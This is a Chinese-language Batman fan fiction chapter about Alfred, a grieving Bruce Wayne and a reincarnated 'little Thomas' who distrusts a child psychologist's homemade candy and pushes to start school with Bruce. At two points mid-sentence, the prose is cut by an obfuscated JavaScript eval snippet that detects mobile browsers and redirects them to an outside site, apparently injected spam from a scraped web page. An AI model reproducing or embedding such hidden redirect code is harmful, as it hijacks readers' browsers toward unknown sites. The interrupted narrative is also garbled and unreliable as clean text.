布鲁斯巴不得赶紧离开这里,哪怕再多待一会,他都有可能要哭出来。 所以他松了一口气,将三明治放回盘子里:“我很荣幸,阿尔弗雷德。” - 小托马斯不适合安慰布鲁斯。 抛开他领先哥谭平均水平一百个大都会的精神状态、耳机线一样扭曲到打结的善恶观念还有并不靠谱的心理学水平不谈(真的抛得开吗?嗯?),光是他的身份就不适合安慰布鲁斯。 至少现在不适合。 布鲁斯向来崇拜他们的父亲。而这个宇宙的托马斯几乎是这个时代社会所定义的优秀人类最佳范本。 他头脑聪颖、举止成熟而稳重、热爱生活、善良正直、富有同理心、无论是对家庭还是社会都有高度责任感…… 显然布鲁斯同样具备这些优秀的品质,并且打算接过玛莎和托马斯的职责,想要担负起家庭的责任,隐瞒自己的负面情绪,而不愿意让弟弟也跟着担忧。 所以他的安慰很有可能适得其反,会让布鲁斯误以为自己还没有弟弟成熟稳重,加大他的心理压力。 所以他只能保持沉默。 他的手死死扣住了桌沿,将目光投向窗外。 这个角度只能看到阿尔弗雷德。估计是为了让小托马斯安心,他故意没有走远。 而阿尔弗雷德也向窗内扫了一眼,随后摸了摸布鲁斯的头。 布鲁斯把脸埋在他的腰间,痛痛快快地哭了出来。 “您不需要压抑自我的,何况您还是个孩子。” “可我该长大了。”布鲁斯的声音有点闷:“我是哥哥,汤米才四岁……他需要我。” 阿尔弗雷德叹口气。 他不太喜欢社会中默认大一些的孩子就要承担起责任的观念。 但这种观念不是他一个人可以轻易扭转的。 而且总不可能告诉他,虽然小托马斯表面上只有四岁,但是实际年龄不知道有多大吧? 所以这件事只能先放一放,阿尔弗雷德抱着他说:“我请了专业的精神科医生,她下午就会来。” 果不其然,阿尔弗雷德能够感受到布鲁斯有些抗拒地绷紧了身子。 他抢在布鲁斯拒绝之前补充:“您有没有发现小托马斯少爷的状态有些不对?” 此话一出,布鲁斯放松了不少:“你也发现了吗,阿尔弗雷德?” “当然,”阿尔弗雷德很坚定的反问,“创伤后应激障碍的患者可能会对情感刺/激的反应减弱,而小托马斯少爷昨天……”他没有说出来,只是拍拍布鲁斯的后背。 布鲁斯抱着阿尔弗雷德的动作又用力了一点,阿尔弗雷德猜测应该是小托马斯少爷在昨天布鲁斯少爷面前又做了什么出格的事。 我也许应该劝小托马斯少爷多少装得更像个孩子一点。 “小托马斯少爷年龄太小了,还有一点自闭倾向,抗拒与陌生人沟通。” “而我要给他做个榜样。”布鲁斯说,“我会先去看医生,然后告诉汤米医生不可怕。” 不,你不需要做任何人的榜样,做个孩子就好。 阿尔弗雷德突然有些忧心,连带着开始质疑“小托马斯有分离焦虑”的计划是否正确。 显然布鲁斯正在不断给自己施压,如果告诉他小托马斯有很严重的精神问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817852|175401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题也不利于他的精神状态(虽然小托马斯似乎确实有精神问题)。 “布鲁斯少爷,我知道你想一下子成为能够让小托马斯少爷依靠的大人。” 阿尔弗雷德摸着布鲁斯的头发,轻声对他说:“但至少在我眼里,你永远是个孩子,布鲁斯少爷。” “我将永远是你的后盾。” 布鲁斯没有说话,只是抱得更紧了一些。 - 下午的时候,医生来了。随行的有一辆卡车,几个人从车里搬出来一堆沙盘之类东西,听从阿尔弗雷德的指挥,把东西放在他所指定的屋子里。 她是个很随和的人。阿尔弗雷德说她是一位优秀的儿童心理学专家,致力于治疗那些被阴影笼罩的孩子。 哪怕是小托马斯这么多疑的人,都没能从她身上挑出什么危险之处来。 所以小托马斯暂时假定她是安全而无威胁的。 布鲁斯攥着衣角,视死如归地站起身,率先走进被阿尔弗雷德暂时划为诊室的房间。 出于布鲁斯的强烈要求,阿尔弗雷德只好和小托马斯一起待在外面。 “这位医生非常善解人意。”阿尔弗雷德率先开口,他似乎打定主意要如常地对待小托马斯,“她理解我们不愿意离开家的特殊情况,同意我请人把东西搬到韦恩庄园。” “谁叫这些记者就像苍蝇一样烦人,如果他们都能把目光放在有用的地方,我们也不至于这样麻烦医生。”小托马斯直勾勾地看着其中一个累得气喘吁吁、非要扶着“诊室”门休息的家伙,“不是吗?” 他的眼神完全不像是四岁孩子的目光,吓得对方嘴唇微颤,猛地往旁边挪了几步。 “……我想是的,小托马斯少爷,居然这样也会有记者混进来。”阿尔弗雷德严肃地对记者说,“先生,请把录音设备留下,然后赶紧离开。韦恩庄园不欢迎心怀鬼胎的客人。” 那记者倒是没有反抗,老老实实地将录音笔掏出来,丢给阿尔弗雷德,拔腿就跑。 “我猜明天会有报纸头条是我,要不要赌五美元?”小托马斯似乎捡回了一点幽默感,“大概率是恶魔附体韦恩幼子,我还猜他想写的本来应该是韦恩长子患有心理疾病。” “我猜也是。”阿尔弗雷德说,“所以我不赌。” 布鲁斯不知道外面的事。为了减轻小托马斯的心理压力,他尽量开心地走了出来。 “汤米,不要害怕,”他似乎想让自己的声音轻快一些,但这很难做到,“医生人很温柔,不像牙医,你只要回答她的话就好,而且你看——” 布鲁斯给小托马斯看他手里的糖:“诚实的话,还有糖吃,你要吃吗?” 那块糖应该是一块土耳其软糖,粉色的,裹着糖粉,用透明的塑料纸草草包起来,像是自制的糖果。 小托马斯眨眨眼:“要吃。” 他不是嘴馋,但是自制的产品显然不是很安全,如果医生在里面放了不好的东西怎么办? “那你好好回答医生的话,她给你,我就给你。” “好的,布鲁斯。” 8. 传承正宗老伦敦官腔 小托马斯不愧是地球三出来的,他的表演浑然天成,顺利地拿到了一块糖。 不过他能够这么顺利地拿到糖,也可能只是因为医生是一位体面的正常人,不知道四岁小孩的躯壳里居然有可能装着一个成人的灵魂,于是轻而易举地被他骗了过去。 那块糖捏起来手感不错,粉色的软糖,裹着椰蓉,外面用一层透明的塑料纸包着,塑料纸叠得很不匀称,显然是手工包装。 这种纯手工的食物最容易下毒,而且医生也不是全然没有动机。 这个世界上肯定有人愿意花一笔巨款,收买这位医生做点什么。小托马斯自己就能想到好几种毒害韦恩继承人而获利的方法。 小托马斯独自离开诊室,贴心地将诊室的门关上,给阿尔弗雷德和医生留出沟通诊断结果与治疗方案的空间。 他一抬头就与布鲁斯对上了视线。 那双眼睛里有一个八岁孩子深切而真诚的关心与忧虑。 小托马斯向他展示了那块糖果,而布鲁斯果然说到做到,他向小托马斯伸出手,手心里正是那枚软糖。 小托马斯伸手将糖取走,他可以摸出塑料纸上的温度。 布鲁斯的眼睛就跟着那块糖走。他看着小托马斯捏了捏这两块糖,看着小托马斯将这两块糖收进衣服口袋,无意识地咬着下嘴唇,仿佛他牙齿之间不是自己的嘴唇,而是柔软且香甜的软糖似的。 小托马斯能看出来布鲁斯非常、非常想吃糖,但是这块糖肯定不能给他。 所以小托马斯狠心偏过了头,假装自己突然开始对家里的厨房感兴趣。 “你如果想吃,我们也可以在家里做。”小托马斯尽量不去思考自己的厨艺问题,他两辈子都还没有正经下过厨,但这不妨碍他把皮球踢给阿尔弗雷德,“我相信阿尔弗雷德肯定会。” 布鲁斯似乎很同意这个想法,但他摇了摇头:“明天是葬礼。” 于是小托马斯也闭上了嘴。 对韦恩夫妇,他实在不知道该做出什么样的表情。 开门声再次打断了沉默,这次阿尔弗雷德和医生一起出来了。 两人用成年人最擅长的模板化交流交换了一些废话,阿尔弗雷德一边说一边递过去一个厚实的信封,随后很绅士地将医生送到车上。 接下来就是阿尔弗雷德跟两个孩子的私聊环节。 先被叫进去的是小托马斯,他一进去就知道阿尔弗雷德要说什么。 “你打算终止我们之间的合作。” 他用的是肯定句。 阿尔弗雷德没有反驳:“是,我不会对布鲁斯少爷说您有精神疾病。” 小托马斯坐在阿尔弗雷德对面,与阿尔弗雷德对视:“应该还有吧?” “我同样打算帮助布鲁斯少爷寻找真相,有我跟着,总比他自己一个人行动要安全。” “好的,我知道了。”小托马斯颔首。 出乎阿尔弗雷德的意料,小托马斯没有非要逼迫他执行原计划,反而平静地接受了事实。 “因为我认为争吵毫无效率,既然无论如何你我都无法达成一致,那就没有争论的必要,更何况我还有替代方案。” 小托马斯在地球三每天都要观察且防备局外人,他现在完全是阿尔弗雷德表情解读领域大神:“我不够了解心理学,看不懂布鲁斯的治疗方案,所以我不会因为疑心就不允许布鲁斯接受治疗。” “感谢你的理解,小托马斯少爷。” 阿尔弗雷德甚至有点欣慰了,小托马斯少爷虽然有些不同寻常,但他至少善解人意…… “但我依然有一个要求。”小托马斯说:“我要立刻入学布鲁斯的学校,我完全支持你的行动,但我同样要求保留在布鲁斯身边观察的权利。” 小托马斯补充道:“这显然对你也有利,阿尔弗雷德。我和布鲁斯都在学校,你那个‘共轭看守’的想法就不会落空。而你也可以空出时间为调查做准备,减少突发意外的可能性。” 听起来很有说服力,但是阿尔弗雷德并不买账。 “您不适合入学,小托马斯少爷。”阿尔弗雷德摇头,“在我眼里,您没有伪装好自己的不同之处,长时间待在人群里会有危险。” 阿尔弗雷德还是说得太委婉了。小托马斯就从来没有伪装过,他根本不屑于伪装,不屑于融入人群,完全不担心有人发现他的不同寻常。 “不用担心,两个世界的人差距很大,可人群无论在哪个世界都是一个样。”他放松地往后靠,“欺骗、利用、操纵……这是社会生活的必备技能。阿尔弗雷德,与其担心我,你还不如去担心一下布鲁斯,他没吃到糖,心情不好。” 随后小托马斯拿出那两块糖,把包装拆开,抹了一点椰蓉在嘴角,随后用沾过水的纸巾包好糖块,丢进房间的垃圾桶里。 阿尔弗雷德看着垃圾桶里的糖,对小托马斯说:“永远戴着假面活在人群里,对最亲近的人脱口而出的也是谎言,会很累。” “我看过那么多个世界,”小托马斯反驳,“没人能够在人群中完全做自己,谁都一样。” “我只是觉得你可以告诉布鲁斯少爷你的顾虑,他会理解的。” “而布鲁斯是一个八岁小孩,我却要他怀疑自己的主治医生。”小托马斯将糖纸也扔进垃圾桶,“他会产生抗拒的情绪,不利于接下来的治疗。” “怀疑一切、警惕一切的人,有我一个就够了。” 看出自己无法说服小托马斯,阿尔弗雷德耸肩。 “好吧,但请记住,”阿尔弗雷德说,“一个谎言需要用无数个谎言掩盖。” 至少在家人面前,请坦诚一点。 但是阿尔弗雷德没有说出来,他打算用实际行动给小托马斯补上这一课。 “很高兴我们能够就我的学业问题达成一致。”小托马斯能够看出来阿尔弗雷德想让自己吃点亏,但他没有挑明这一点。 他完全不担心阿尔弗雷德用垃圾桶里的糖做文章。小托马斯有无数个借口能够解释糖为什么会在垃圾桶里,且不会被布鲁斯怀疑。 他相信阿尔弗雷德的能力,而阿尔弗雷德也相信他的口才。两人都知道直接向布鲁斯告状是最蠢的手段,而这种无法一击毙命的蠢计划绝不是阿尔弗雷德会用的。 他安静地离开房间。 布鲁斯第一眼就能看到小托马斯嘴角的椰蓉,他心不在焉地问:“好吃吗?什么味道的?” “很甜很好吃。”小托马斯认真地回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817853|175401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“外面是椰蓉,里面是草莓味的。” “我听医生说这是土耳其软糖。她说这是她自己做的,非常传统的味道。” 布鲁斯板着脸,有些紧张地打开房门,他实在是担心小托马斯的诊断结果,又不想在小托马斯面前表露出来,所以开始用一些琐碎的话掩盖情绪。 他认真地把房门关严,等了一会儿又猛地拉开,以防小托马斯在门外偷停。 小托马斯正在沙发上很老实地看书,听到开门声疑惑地看过去:“结束了?” 阿尔弗雷德不可能只说这么一小会儿话吧?布鲁斯可是真正的八岁小孩,他们之间的沟通怎么可能这么高效? 难不成我错估了本世界阿尔弗雷德的智商,他真的把我扔糖的事情直接告诉布鲁斯了? 顶着小托马斯怀疑的目光,布鲁斯尴尬地把门关上。 “不需要这么担心,布鲁斯少爷。”阿尔弗雷德随口说,“客房的隔音效果很好,只要小托马斯少爷不是能从门缝里钻进来的软泥怪,我们就绝对安全。” 布鲁斯下意识看了一眼门缝。 阿尔弗雷德用担忧的目光盯着他。 “……阿尔弗雷德,我知道你知道我知道汤米不会突然变成软泥怪钻进来,对吧?” “但他有可能突然变成小学生跟你一起去上学,布鲁斯少爷。”阿尔弗雷德喝了一口桌面上的茶。 布鲁斯还没来得及坐稳,听到这个消息一下子从椅子上飞起来:“什么?等等,阿尔弗雷德,汤米今年才四岁!” “对,我印象深刻。”阿尔弗雷德有意逗逗这个世界家里的唯一一个真小孩,放慢语速回答他,“我还给他换过尿不湿呢。” “这不是重点!重点是汤米不适合上学,他的精神问题……” 这一点阿尔弗雷德非常同意,小托马斯少爷完全不适合去上学。但他既然刚才没有反对,现在也就必须帮着小托马斯完成这个计划。 “依据我们对某些隐秘而无法告人的客观事实的综合性评定,我们大概率可以坦率地将该计划视为当前这种特殊状况下毋容置疑的最优解决方案。” 阿尔弗雷德不想骗布鲁斯,所以他学着某位英国内阁秘书的说话方式,试图把布鲁斯绕晕。 虽然阿尔弗雷德学得不够到家,但是绕住布鲁斯已经足够了。 布鲁斯思考了一会儿,最后只说出来一个单词:“Pardon?” “意思是小托马斯少爷和你一起去上学是最好的选择,布鲁斯少爷。”阿尔弗雷德自己给他翻译,“原因我不能告诉你。但是不需要担心小托马斯少爷的精神状态,医生说他没有自闭症。” “抑郁症呢?”布鲁斯很敏锐,无师自通地认识到英式官腔的一个精髓——没有专门否认就代表着有。 但很遗憾,小托马斯只是觉得生命没有意义、是死是活无所谓,虽然他比一般的抑郁症患者还要极端得多,但他还没有抑郁症。 “也没有,小托马斯少爷没有抑郁症。” 布鲁斯不赞同地看着他。 阿尔弗雷德闭上了嘴,脸上没有表露出丝毫的情绪。 难得地,他有点心虚。 明明最该心虚的应该是小托马斯才对。